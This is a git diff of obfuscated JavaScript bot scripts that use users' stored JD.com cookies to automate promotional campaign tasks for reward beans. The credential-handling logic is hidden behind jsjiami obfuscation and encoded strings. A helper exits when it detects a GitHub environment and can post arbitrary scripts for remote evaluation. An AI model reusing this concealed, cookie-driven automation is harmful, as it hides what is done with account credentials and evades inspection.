_0x5194b2!==_0x42a28a;},'QiHbk':_0x28f6('‫175'),'cvMqb':function(_0x44629f,_0x3ad16d){return _0x44629f!==_0x3ad16d;},'nCIPb':_0x28f6('‮176'),'YDXzH':_0x28f6('‫177'),'eveYa':_0x28f6('‮178'),'BYfTZ':function(_0x486899,_0xd6446a){return _0x486899(_0xd6446a);},'pqGbd':function(_0x5e0901,_0x1396af){return _0x5e0901(_0x1396af);},'SeRuX':_0x28f6('‮b'),'LABLq':_0x28f6('‮179'),'RSKkL':_0x28f6('‫17a'),'aqKHW':_0x28f6('‮17b'),'ZIKsl':_0x28f6('‮17c'),'IHTFr':_0x28f6('‮17d'),'dJGsu':_0x28f6('‮17e'),'vCwMR':_0x28f6('‫17f'),'TvCSl':function(_0xf09632,_0x5e5d0c){return _0xf09632===_0x5e5d0c;},'tuhFT':_0x28f6('‮180'),'Ajhxp':function(_0x15633d,_0x65a4fd){return _0x15633d*_0x65a4fd;},'cdFoU':_0x28f6('‮120'),'vDffX':function(_0x12c0c1,_0x3da201){return _0x12c0c1*_0x3da201;}};return new Promise(async _0x1c4c84=>{var _0x5c9036={'DjUex':_0x531457[_0x28f6('‮181')]};if(_0x531457[_0x28f6('‫182')](_0x531457[_0x28f6('‫183')],_0x531457[_0x28f6('‫184')])){let _0x4a4bfc={'appId':_0x531457[_0x28f6('‮185')],'body':{'appid':_0x531457[_0x28f6('‫186')],'functionId':_0x2222e5,'body':JSON[_0x28f6('‫ce')](_0x4949cb),'clientVersion':_0x531457[_0x28f6('‮187')],'client':'H5','activityId':_0x531457[_0x28f6('‫188')]},'callbackAll':!![]};let _0x5edfac='';let _0x2b81bb=[_0x531457[_0x28f6('‮189')]];if(process[_0x28f6('‫11d')][_0x28f6('‮11e')]){_0x5edfac=process[_0x28f6('‫11d')][_0x28f6('‮11e')];}else{if(_0x531457[_0x28f6('‫18a')](_0x531457[_0x28f6('‮18b')],_0x531457[_0x28f6('‮18b')])){_0x5edfac=_0x2b81bb[Math[_0x28f6('‮f0')](_0x531457[_0x28f6('‫18c')](Math[_0x28f6('‮f2')](),_0x2b81bb[_0x28f6('‫11')]))];}else{uuid=v[_0x28f6('‫142')](0x24)[_0x28f6('‮143')]();}}let _0x118bff={'url':_0x28f6('‮18d'),'body':JSON[_0x28f6('‫ce')](_0x4a4bfc),'headers':{'Host':_0x5edfac,'Content-Type':_0x531457[_0x28f6('‮18e')]},'timeout':_0x531457[_0x28f6('‫18f')](0x1e,0x3e8)};$[_0x28f6('‮9f')](_0x118bff,async(_0x1e3c24,_0x4e6194,_0x4a4bfc)=>{var _0x576708={'FNLYy':function(_0x222696,_0x55bad9){return _0x531457[_0x28f6('‫190')](_0x222696,_0x55bad9);},'QZCHH':function(_0x3ec1e3,_0x4af3a6){return _0x531457[_0x28f6('‮191')](_0x3ec1e3,_0x4af3a6);},'kSTdq':function(_0x455384,_0x2758d1){return _0x531457[_0x28f6('‫192')](_0x455384,_0x2758d1);},'tixsd':function(_0x43c663,_0xdc6714){return _0x531457[_0x28f6('‫190')](_0x43c663,_0xdc6714);},'RbfNE':function(_0x466622,_0x38fa26){return _0x531457[_0x28f6('‫193')](_0x466622,_0x38fa26);}};try{if(_0x531457[_0x28f6('‮194')](_0x531457[_0x28f6('‫195')],_0x531457[_0x28f6('‮196')])){var _0x584838=_0x576708[_0x28f6('‫197')](_0x576708[_0x28f6('‮198')](Math[_0x28f6('‮f2')](),0x10),0x0),_0x4d4c5f=_0x576708[_0x28f6('‮199')](c,'x')?_0x584838:_0x576708[_0x28f6('‮19a')](_0x576708[_0x28f6('‫19b')](_0x584838,0x3),0x8);if(UpperCase){uuid=_0x4d4c5f[_0x28f6('‫142')](0x24)[_0x28f6('‮143')]();}else{uuid=_0x4d4c5f[_0x28f6('‫142')](0x24);}return uuid;}else{if(_0x1e3c24){if(_0x531457[_0x28f6('‮19c')](_0x531457[_0x28f6('‮19d')],_0x531457[_0x28f6('‮19d')])){$[_0x28f6('‫c')]($[_0x28f6('‮d')],_0x5c9036[_0x28f6('‫19e')],message);}else{_0x4a4bfc=await geth5st[_0x28f6('‮19f')](this,arguments);}}else{}}}catch(_0x3e4949){if(_0x531457[_0x28f6('‫182')](_0x531457[_0x28f6('‮1a0')],_0x531457[_0x28f6('‮1a1')])){$[_0x28f6('‫c2')](_0x3e4949,_0x4e6194);}else{res=JSON[_0x28f6('‮7f')](_0x4a4bfc);if(res[_0x28f6('‫aa')]){console[_0x28f6('‫1a')](res);$[_0x28f6('‫bf')]=res[_0x28f6('‮c0')];}}}finally{if(_0x531457[_0x28f6('‮194')](_0x531457[_0x28f6('‮1a2')],_0x531457[_0x28f6('‮1a2')])){_0x531457[_0x28f6('‮1a3')](_0x1c4c84,_0x4a4bfc);}else{$[_0x28f6('‫17')]=![];return;}}});}else{_0x531457[_0x28f6('‫1a4')](_0x1c4c84,data);}});}async function getToken(){var _0xfa1f72={'gobCw':function(_0x320c6d){return _0x320c6d();},'sbhpo':_0x28f6('‫57'),'VxZZJ':_0x28f6('‫92'),'YBqbM':function(_0x2616d1,_0x2df50f){return _0x2616d1===_0x2df50f;},'OHlQi':_0x28f6('‮1a5'),'jTLjZ':function(_0x137327,_0x1885a2){return _0x137327===_0x1885a2;},'jYUXR':_0x28f6('‮1a6'),'CFCYS':_0x28f6('‫94'),'Ajpev':function(_0x4e5d73,_0x21e779){return _0x4e5d73!==_0x21e779;},'dflwl':_0x28f6('‫1a7'),'bbDUV':function(_0x3d871b,_0x500199,_0x5c1297){return _0x3d871b(_0x500199,_0x5c1297);},'xTzLK':_0x28f6('‫1a8'),'ybgFO':_0x28f6('‮1a9'),'wKyCV':_0x28f6('‫c7'),'VuZCt':_0x28f6('‫1aa'),'ITBRV':_0x28f6('‮c8'),'jvyfJ':_0x28f6('‫c9'),'ZMmEC':_0x28f6('‫1ab'),'MsYJY':_0x28f6('‫1ac'),'AMphv':_0x28f6('‫cb')};let _0x3979e9=await _0xfa1f72[_0x28f6('‮1ad')](getSign,_0xfa1f72[_0x28f6('‮1ae')],{'id':'','url':_0xfa1f72[_0x28f6('‮1af')]});let _0x75bf1f={'url':_0x28f6('‫1b0'),'headers':{'Host':_0xfa1f72[_0x28f6('‮1b1')],'Content-Type':_0xfa1f72[_0x28f6('‫1b2')],'Accept':_0xfa1f72[_0x28f6('‫1b3')],'Connection':_0xfa1f72[_0x28f6('‮1b4')],'Cookie':cookie,'User-Agent':_0xfa1f72[_0x28f6('‮1b5')],'Accept-Language':_0xfa1f72[_0x28f6('‫1b6')],'Accept-Encoding':_0xfa1f72[_0x28f6('‮1b7')]},'body':_0x3979e9};return new Promise(_0x172d0a=>{var _0x4caa42={'XKZjw':function(_0x45b612){return _0xfa1f72[_0x28f6('‫1b8')](_0x45b612);},'CeGLE':_0xfa1f72[_0x28f6('‮1b9')],'olKBd':_0xfa1f72[_0x28f6('‮1ba')],'bcQty':function(_0x8e1a2a,_0x18f385){return _0xfa1f72[_0x28f6('‫1bb')](_0x8e1a2a,_0x18f385);},'oblPe':_0xfa1f72[_0x28f6('‫1bc')],'tqEzs':function(_0x55b30f,_0x5c9ec3){return _0xfa1f72[_0x28f6('‮1bd')](_0x55b30f,_0x5c9ec3);},'wDJFS':_0xfa1f72[_0x28f6('‫1be')],'KRgCR':function(_0x5d7e16,_0x1b634c){return _0xfa1f72[_0x28f6('‮1bd')](_0x5d7e16,_0x1b634c);},'wsHrU':_0xfa1f72[_0x28f6('‫1bf')],'BDWXm':function(_0xfcd6b0,_0x2a28cc){return _0xfa1f72[_0x28f6('‮1c0')](_0xfcd6b0,_0x2a28cc);},'NsOvs':_0xfa1f72[_0x28f6('‮1c1')]};$[_0x28f6('‮9f')](_0x75bf1f,(_0x26fb7b,_0x22a78c,_0x454cc3)=>{var _0xaf269={'FeGgJ':_0x4caa42[_0x28f6('‮1c2')],'BBwRj':_0x4caa42[_0x28f6('‮1c3')]};if(_0x4caa42[_0x28f6('‫1c4')](_0x4caa42[_0x28f6('‫1c5')],_0x4caa42[_0x28f6('‫1c5')])){try{if(_0x4caa42[_0x28f6('‫1c6')](_0x4caa42[_0x28f6('‫1c7')],_0x4caa42[_0x28f6('‫1c7')])){if(_0x26fb7b){$[_0x28f6('‫1a')](_0x26fb7b);}else{if(_0x454cc3){_0x454cc3=JSON[_0x28f6('‮7f')](_0x454cc3);if(_0x4caa42[_0x28f6('‫1c8')](_0x454cc3[_0x28f6('‫a8')],'0')){$[_0x28f6('‫3c')]=_0x454cc3[_0x28f6('‫3c')];}}else{$[_0x28f6('‫1a')](_0x4caa42[_0x28f6('‮1c9')]);}}}else{$[_0x28f6('‫1a')](_0xaf269[_0x28f6('‫1ca')]);}}catch(_0x1ad911){$[_0x28f6('‫1a')](_0x1ad911);}finally{if(_0x4caa42[_0x28f6('‮1cb')](_0x4caa42[_0x28f6('‮1cc')],_0x4caa42[_0x28f6('‮1cc')])){$[_0x28f6('‫1a')](_0xaf269[_0x28f6('‮1cd')]);}else{_0x4caa42[_0x28f6('‮1ce')](_0x172d0a);}}}else{_0x4caa42[_0x28f6('‮1ce')](_0x172d0a);}});});}function getSign(_0x43c69e,_0x3bb9d8){var _0x550ec8={'ZSwFB':function(_0x5cd96f,_0x80532b){return _0x5cd96f(_0x80532b);},'HazXh':function(_0x291da0,_0x211077){return _0x291da0===_0x211077;},'xAIyc':function(_0x5080de,_0x3c411a){return _0x5080de!==_0x3c411a;},'Thnlt':_0x28f6('‮1cf'),'wSBAm':_0x28f6('‮1d0'),'WhpzB':_0x28f6('‮1d1'),'htmYc':_0x28f6('‮1d2'),'eDrRm':_0x28f6('‮1d3'),'lVxOx':_0x28f6('‮17e'),'WmMOc':_0x28f6('‫17f'),'BBqVL':function(_0x59c605,_0x3b8ba8){return _0x59c605*_0x3b8ba8;},'riTeV':_0x28f6('‫1d4')};return new Promise(async _0x2ec9d2=>{var _0x5ed0e2={'YPtuE':function(_0x2f4fd9,_0x228e6d){return _0x550ec8[_0x28f6('‫1d5')](_0x2f4fd9,_0x228e6d);},'rEsmy':function(_0x1e274c,_0x3194b2){return _0x550ec8[_0x28f6('‮1d6')](_0x1e274c,_0x3194b2);},'SoTpZ':function(_0x30d950,_0x26ee77){return _0x550ec8[_0x28f6('‮1d7')](_0x30d950,_0x26ee77);},'Lhbgf':_0x550ec8[_0x28f6('‮1d8')],'zzZzs':_0x550ec8[_0x28f6('‮1d9')],'KDvLB':_0x550ec8[_0x28f6('‫1da')],'YECLI':function(_0x2897a0,_0x14a52e){return _0x550ec8[_0x28f6('‮1d7')](_0x2897a0,_0x14a52e);},'IGofL':_0x550ec8[_0x28f6('‮1db')],'iNMTp':_0x550ec8[_0x28f6('‫1dc')],'EtRvV':function(_0x2d3b29,_0x56b6e4){return _0x550ec8[_0x28f6('‫1d5')](_0x2d3b29,_0x56b6e4);}};let _0x37aefc={'functionId':_0x43c69e,'body':JSON[_0x28f6('‫ce')](_0x3bb9d8),'activityId':_0x550ec8[_0x28f6('‮1dd')]};let _0x553677='';let _0x10cbce=[_0x550ec8[_0x28f6('‮1de')]];if(process[_0x28f6('‫11d')][_0x28f6('‮11e')]){_0x553677=process[_0x28f6('‫11d')][_0x28f6('‮11e')];}else{_0x553677=_0x10cbce[Math[_0x28f6('‮f0')](_0x550ec8[_0x28f6('‫1df')](Math[_0x28f6('‮f2')](),_0x10cbce[_0x28f6('‫11')]))];}let _0x2cc67a={'url':_0x28f6('‫1e0'),'body':JSON[_0x28f6('‫ce')](_0x37aefc),'headers':{'Host':_0x553677,'User-Agent':_0x550ec8[_0x28f6('‮1e1')]},'timeout':_0x550ec8[_0x28f6('‫1df')](0x1e,0x3e8)};$[_0x28f6('‮9f')](_0x2cc67a,(_0x470ea1,_0x3fabfb,_0x37aefc)=>{var _0x3a3a9d={'Pgebe':function(_0x2bcaa0,_0x300f03){return _0x5ed0e2[_0x28f6('‫1e2')](_0x2bcaa0,_0x300f03);}};if(_0x5ed0e2[_0x28f6('‫1e3')](_0x5ed0e2[_0x28f6('‫1e4')],_0x5ed0e2[_0x28f6('‮1e5')])){try{if(_0x470ea1){if(_0x5ed0e2[_0x28f6('‫1e3')](_0x5ed0e2[_0x28f6('‫1e6')],_0x5ed0e2[_0x28f6('‫1e6')])){_0x37aefc=JSON[_0x28f6('‮7f')](_0x37aefc);if(_0x3a3a9d[_0x28f6('‫1e7')](_0x37aefc[_0x28f6('‫a8')],'0')){$[_0x28f6('‫3c')]=_0x37aefc[_0x28f6('‫3c')];}}else{console[_0x28f6('‫1a')](''+JSON[_0x28f6('‫ce')](_0x470ea1));console[_0x28f6('‫1a')]($[_0x28f6('‮d')]+_0x28f6('‫1e8'));}}else{}}catch(_0x18f9c9){$[_0x28f6('‫c2')](_0x18f9c9,_0x3fabfb);}finally{if(_0x5ed0e2[_0x28f6('‫1e9')](_0x5ed0e2[_0x28f6('‫1ea')],_0x5ed0e2[_0x28f6('‫1eb')])){_0x5ed0e2[_0x28f6('‮1ec')](_0x2ec9d2,_0x37aefc);}else{_0x5ed0e2[_0x28f6('‮1ed')](_0x2ec9d2,_0x37aefc);}}}else{$[_0x28f6('‫c2')](e);}});});};_0xodL='jsjiami.com.v6'; +// prettier-ignore +!function (n) { "use strict"; function t(n, t) { var r = (65535 & n) + (65535 & t); return (n >> 16) + (t >> 16) + (r >> 16) << 16 | 65535 & r } function r(n, t) { return n << t | n >>> 32 - t } function e(n, e, o, u, c, f) { return t(r(t(t(e, n), t(u, f)), c), o) } function o(n, t, r, o, u, c, f) { return e(t & r | ~t & o, n, t, u, c, f) } function u(n, t, r, o, u, c, f) { return e(t & o | r & ~o, n, t, u, c, f) } function c(n, t, r, o, u, c, f) { return e(t ^ r ^ o, n, t, u, c, f) } function f(n, t, r, o, u, c, f) { return e(r ^ (t | ~o), n, t, u, c, f) } function i(n, r) { n[r >> 5] |= 128 << r % 32, n[14 + (r + 64 >>> 9 << 4)] = r; var e, i, a, d, h, l = 1732584193, g = -271733879, v = -1732584194, m = 271733878; for (e = 0; e < n.length; e += 16)i = l, a = g, d = v, h = m, g = f(g = f(g = f(g = f(g = c(g = c(g = c(g = c(g = u(g = u(g = u(g = u(g = o(g = o(g = o(g = o(g, v = o(v, m = o(m, l = o(l, g, v, m, n[e], 7, -680876936), g, v, n[e + 1], 12, -389564586), l, g, n[e + 2], 17, 606105819), m, l, n[e + 3], 22, -1044525330), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 4], 7, -176418897), g, v, n[e + 5], 12, 1200080426), l, g, n[e + 6], 17, -1473231341), m, l, n[e + 7], 22, -45705983), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 8], 7, 1770035416), g, v, n[e + 9], 12, -1958414417), l, g, n[e + 10], 17, -42063), m, l, n[e + 11], 22, -1990404162), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 12], 7, 1804603682), g, v, n[e + 13], 12, -40341101), l, g, n[e + 14], 17, -1502002290), m, l, n[e + 15], 22, 1236535329), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 1], 5, -165796510), g, v, n[e + 6], 9, -1069501632), l, g, n[e + 11], 14, 643717713), m, l, n[e], 20, -373897302), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 5], 5, -701558691), g, v, n[e + 10], 9, 38016083), l, g, n[e + 15], 14, -660478335), m, l, n[e + 4], 20, -405537848), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 9], 5, 568446438), g, v, n[e + 14], 9, -1019803690), l, g, n[e + 3], 14, -187363961), m, l, n[e + 8], 20, 1163531501), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 13], 5, -1444681467), g, v, n[e + 2], 9, -51403784), l, g, n[e + 7], 14, 1735328473), m, l, n[e + 12], 20, -1926607734), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 5], 4, -378558), g, v, n[e + 8], 11, -2022574463), l, g, n[e + 11], 16, 1839030562), m, l, n[e + 14], 23, -35309556), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 1], 4, -1530992060), g, v, n[e + 4], 11, 1272893353), l, g, n[e + 7], 16, -155497632), m, l, n[e + 10], 23, -1094730640), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 13], 4, 681279174), g, v, n[e], 11, -358537222), l, g, n[e + 3], 16, -722521979), m, l, n[e + 6], 23, 76029189), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 9], 4, -640364487), g, v, n[e + 12], 11, -421815835), l, g, n[e + 15], 16, 530742520), m, l, n[e + 2], 23, -995338651), v = f(v, m = f(m, l = f(l, g, v, m, n[e], 6, -198630844), g, v, n[e + 7], 10, 1126891415), l, g, n[e + 14], 15, -1416354905), m, l, n[e + 5], 21, -57434055), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 12], 6, 1700485571), g, v, n[e + 3], 10, -1894986606), l, g, n[e + 10], 15, -1051523), m, l, n[e + 1], 21, -2054922799), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 8], 6, 1873313359), g, v, n[e + 15], 10, -30611744), l, g, n[e + 6], 15, -1560198380), m, l, n[e + 13], 21, 1309151649), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 4], 6, -145523070), g, v, n[e + 11], 10, -1120210379), l, g, n[e + 2], 15, 718787259), m, l, n[e + 9], 21, -343485551), l = t(l, i), g = t(g, a), v = t(v, d), m = t(m, h); return [l, g, v, m] } function a(n) { var t, r = "", e = 32 * n.length; for (t = 0; t < e; t += 8)r += String.fromCharCode(n[t >> 5] >>> t % 32 & 255); return r } function d(n) { var t, r = []; for (r[(n.length >> 2) - 1] = void 0, t = 0; t < r.length; t += 1)r[t] = 0; var e = 8 * n.length; for (t = 0; t < e; t += 8)r[t >> 5] |= (255 & n.charCodeAt(t / 8)) << t % 32; return r } function h(n) { return a(i(d(n), 8 * n.length)) } function l(n, t) { var r, e, o = d(n), u = [], c = []; for (u[15] = c[15] = void 0, o.length > 16 && (o = i(o, 8 * n.length)), r = 0; r < 16; r += 1)u[r] = 909522486 ^ o[r], c[r] = 1549556828 ^ o[r]; return e = i(u.concat(d(t)), 512 + 8 * t.length), a(i(c.concat(e), 640)) } function g(n) { var t, r, e = ""; for (r = 0; r < n.length; r += 1)t = n.charCodeAt(r), e += "0123456789abcdef".charAt(t >>> 4 & 15) + "0123456789abcdef".charAt(15 & t); return e } function v(n) { return unescape(encodeURIComponent(n)) } function m(n) { return h(v(n)) } function p(n) { return g(m(n)) } function s(n, t) { return l(v(n), v(t)) } function C(n, t) { return g(s(n, t)) } function A(n, t, r) { return t ? r ? s(t, n) : C(t, n) : r ? m(n) : p(n) } $.md5 = A }(this); +function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } diff --git a/jd_jinggengjcq_dapainew_task.js b/jd_jinggengjcq_dapainew_task.js new file mode 100755 index 0000000..26237d9 --- /dev/null +++ b/jd_jinggengjcq_dapainew_task.js @@ -0,0 +1,30 @@ +/* +不开卡,只做任务,部份大牌联合有任务有豆子,默认不执行 +变量 actId +7 7 7 7 7 jd_jinggengjcq_dapainew_task.js + +环境变量 actId +*/ +const $ = new Env("大牌联合任务通用"); +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +const notify = $.isNode() ? require('./sendNotify') : ''; +let cookiesArr = [], cookie = '', message = ''; +let ownCode = null; +let actId = process.env.actId ?? ''; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; +} else { + let cookiesData = $.getdata('CookiesJD') || "[]"; + cookiesData = JSON.parse(cookiesData); + cookiesArr = cookiesData.map(item => item.cookie); + cookiesArr.reverse(); + cookiesArr.push(...[$.getdata('CookieJD2'), $.getdata('CookieJD')]); + cookiesArr.reverse(); + cookiesArr = cookiesArr.filter(item => !!item); +} +var _0xoda='jsjiami.com.v6',_0xoda_=['‮_0xoda'],_0x3465=[_0xoda,'aGFzT3duUHJvcGVydHk=','WG9mbFQ=','YmFzZUluZm8=','bmlja25hbWU=','ZWRxeEk=','enRBSGc=','ZHlCbFI=','alVKcFE=','UWNLbnI=','SE9SaFA=','c2VNRGM=','U25iWFo=','cW1MRVA=','T1VHWUQ=','aVp4V3U=','aXN2T2JmdXNjYXRvcg==','aHR0cHM6Ly9semR6MS1pc3YuaXN2amNsb3VkLmNvbQ==','YXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVk','SkQ0aVBob25lLzE2NzY1MCAoaVBob25lOyBpT1MgMTMuNzsgU2NhbGUvMy4wMCk=','emgtSGFucy1DTjtxPTE=','SXJWd3Q=','YXh5bXU=','ekVEcms=','aHR0cHM6Ly9hcGkubS5qZC5jb20vY2xpZW50LmFjdGlvbj9mdW5jdGlvbklkPWlzdk9iZnVzY2F0b3I=','enZWd2Y=','YnlCbHY=','Z3dYRm8=','WFZqdG8=','dndyeEo=','ZHlYSXI=','b0ZJR3g=','anpYU2g=','cG96eUc=','VVpzYXE=','Y05MZ00=','VmNlelA=','bXVaRFI=','Wld6TG0=','dEhJY08=','b09xWXg=','Z2dwREQ=','SklaU0I=','b0VuQ3A=','UFVZSXI=','ZmxISWY=','